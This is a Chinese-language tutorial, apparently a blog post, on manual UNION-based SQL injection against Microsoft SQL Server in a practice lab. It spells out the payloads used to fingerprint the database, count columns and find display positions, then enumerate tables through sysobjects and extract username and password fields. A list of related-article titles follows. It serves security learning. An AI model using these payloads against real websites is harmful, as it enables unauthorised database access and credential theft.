1. MSSQL注入手工联合注入

mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。

  • (例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)
    mssql在使用上和可移植等方面与mysql存在不同的差异。

MSSQL数据库的基本知识

  • MSSQL中自带数据库信息
库名 相关功能
master 系统控制数据库,包含配置信息,用户登录信息,系统运行状态
model 模板数据库,数据库时建立所有数据库的模板。
tempdb 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息
  • MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)
视图表 功能
sysobjects 记录了数据库中所有表,常用字段为id、name和xtype
syscolumns 记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databases SQL Server 中所有的数据库
sys.sql_logins SQL Server 中所有的登录名
information_schema.tables 当前用户数据库的表
information_schema.columns 当前用户数据库的列
sys.database_files 存储在数据库中数据库文件

Mssql数据库手工联合注入

这里我们使用的靶场环境为墨者学院中Sql Server注入环境

  1. 判断是否是Mssql数据库类型

and exists(select * from sysobjects) –
and exists(select count(*) from sysobjects) –

  • 输入上面的mssql手工注入代码时候,如果不存在报错,更改命令中的代码信息就产生报错,则可以判断数据库类型为Mssql数据库
  1. 判断mssql数据库的字段长度

order by 5

此处发现order by 5会报错,那我们使用4试试

  • 我们发现字段为4未出现报错,所以注入的字段数为4
  1. 寻找字符型的显示位置
  • 注意:在mssql中查找显示位时需要在union select中间添加all,因为union select在mssql中会重复一些字段从而导致报错
  • null 表示无论是数字形式还是字符形式

id=-2 and union all select null,null,null,null


4. 通过更改null的字符进行判断显示

id=-2 and union all select null,‘2’,‘3’,null

  • 通过第二个和第三个我们发现判断显示的位置,我们获取数据库信息也从这两个显示位置注入。
  1. 通过命令对数据库进行相关查询

@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息

  1. 查询mssql数据库的版本信息

id=-2 and union all select null,@@verions,‘3’,null

  • 这里我们看见mssql数据库的版本信息为sql server 2005
  1. 查询并获取出数据库名

id=-2 union all select null,db_name(),‘3’,null

  1. 通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。

mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4

mssql查询表中只能用top进行对表的版本查询,top查询中xtype=‘u’表示对对xtype中值为u的时候进行搜索,只能是u,如果是其他的值并不能搜索出现

此已经查询到了manage数据表,我们通过添加一个条件语句,使得查询不是‘manage’名称的表就可以继续查询到下一个数据表了

union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in(‘manage’)),‘3’,4

9.发现数据表,我们可以继续查询表中对应的字段名称,通过col_name对表中进行查询

  • 通过修改在object_id(‘manage’)后面的数字就可以调整想要查看的字段

10.获取到了manage数据表的字段username和password后,我们就可以查看到相关信息

MSSQL数据库注入(一)相关推荐

  1. 1-9其他数据库注入

    文章目录 数据库注入 access数据库 判断access数据库 常用函数 查询语句构造 联合查询 布尔型盲注 mssql数据库 mssql数据库判断 环境---靶机-2k3_sp2 常用函数 查询语 ...

  2. MSSQL数据库中发现D99_Tmp数据表的处理办法

    来源于网络,经过整理 D99_tmp(subdirectory,depth,file三个字段,里面的数据都是网站文件和目录) MSSQL数据库存在几个危险的扩展存储过程,默认Public组可执行权限, ...

  3. 记一次asp+mssql的注入和命令执行(已脱敏)

    记一次asp+mssql的注入和命令执行(已脱敏) 注 前言 复现 总结 注 本文已经首发于freebuff asp+mssql的注入和命令执行(已脱敏) 前言 前一段时间参加了一个活动,这一段时间学 ...

  4. oracle数据库注入实战,教你oracle注入

    大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,in ...

  5. 网络安全学习--008--SQL注入之Access数据库注入详解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...

  6. mssql堆叠注入利用总结

    mssql堆叠注入利用总结 前言 环境 写webshell xp_dirtree xp_dirtree杀软反应 xp_cmdshell xp_cmdshell杀软反应 通过命令执行拿shell 无杀软 ...

  7. 永不落幕的数据库注入攻防战

    本文根据DBAplus社群第98期线上分享整理而成. 讲师介绍 主题简介: 1.数据库有什么安全问题 2.何为数据库注入 3.数据库注入攻击实战 4.为什么会发生数据库注入 5.数据库注入攻击防御 记 ...

  8. 图文详解Silverlight访问MSSQL数据库

    在银光中国网(SilverlightChina.Net)有一篇"Silverlight与常用数据库互操作系列"文章,其中介绍了使用Silverlight存取不同数据库的方法和步骤. ...

  9. 【转发】PHP连接MSSQL数据库案例,PHPWAMP多个PHP版本连接SQL Server数据库

    转发自:http://blog.csdn.net/lccee/article/details/54289076 课前小知识普及:MSSQL和SQL Server是同一个软件,叫法不同而已,MSSQL全 ...

最新文章

  1. python pytest_Python项目的pytest初始化
  2. ping通网关不能上网_手机、电脑为什么连不上网(断网)?
  3. Web 开发规范 — WSGI
  4. 1071 mysql_mysql 出现1071错误怎么办
  5. json schema如何约束为小数_如何使用jsonschema进行接口响应断言
  6. 15-多容器复杂应用的部署
  7. p1、查询端口号占用,根据端口查看进程信息/p
  8. 其他service 单例 工具类_获取不到,虚拟来凑?这个工具不得不学!
  9. 关于外部测试字段解释冲突
  10. PHP 结构控制 if else / switch / while / do while
  11. 【二分答案】【中位数】codeforces 394 bun
  12. IE浏览器版本 - 升级与降级( IE8、 IE9 、IE10)
  13. 直播app源码的搭建,仍有许多问题等待我们去解决
  14. 数据库编程基本练习题
  15. 软件测试遵循的基本原则
  16. 知识图谱论文阅读(八)【转】推荐系统遇上深度学习(二十六)--知识图谱与推荐系统结合之DKN模型原理及实现
  17. 每次启动虚拟机都要重装虚拟机的操作系统
  18. .NET Core 开源工具 IPTools - 快速查询 IP 地理位置、经纬度信息
  19. 数据结构--排序算法(冒泡排序)
  20. 深度之眼Paper带读笔记1:Deep learning

热门文章

  1. makefile/make用法
  2. 大学的老师都在干嘛去了
  3. Java代码弱点与修复之——URL manipulation(URL操纵)
  4. 自定义的表单提交后 提示感谢您的参与( 停留时间)
  5. Dell Precision 7920 FB2 Fan failed to respond correctly 解决方案
  6. zabbix3.4 监控Dell iDrac SNMPV2
  7. win10计算机网络设置在哪,Win10系统电脑默认网关怎么设置?电脑的默认网关在哪里看?...
  8. H3C ER3100路由器由于FAST路由器的ARP欺骗导致的断网的处理方法
  9. 笔记:《高效能人士的七个习惯》第四章 习惯二 以终为始——自我领导的原则
  10. 系统思考与管理理论——第五项修炼